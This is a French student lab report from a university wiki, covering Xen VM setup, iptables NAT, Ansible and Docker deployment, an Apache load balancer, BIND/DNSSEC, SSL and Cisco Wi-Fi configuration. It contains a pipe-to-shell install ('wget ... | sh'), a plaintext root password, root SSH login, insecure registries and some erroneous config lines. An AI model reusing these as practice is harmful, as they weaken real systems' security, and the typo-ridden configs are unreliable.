Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget -qO - get.docker.com | sh&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
'''enregistrement de type CNAME dans notre DNS'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
	 		      6		; Serial&lt;br /&gt;
		 	 604800		; Refresh&lt;br /&gt;
			  86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
	  ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour utiliser Apache en mode proxy inverse, il nous faut activer les 2 modules proxy et proxy_http via la commande a2enmod.&lt;br /&gt;
# a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
Le module proxy permet l’implémentation d’un serveur mandataire / passerelle.&lt;br /&gt;
Le module proxy_http apporte le support des requêtes HTTP et HTTPS au module proxy.&lt;br /&gt;
&lt;br /&gt;
Pour activer ces services, il est nécessaire de redémarrer apache.&lt;br /&gt;
# service apache2 restart&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55022</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55022"/>
				<updated>2020-12-18T23:33:59Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
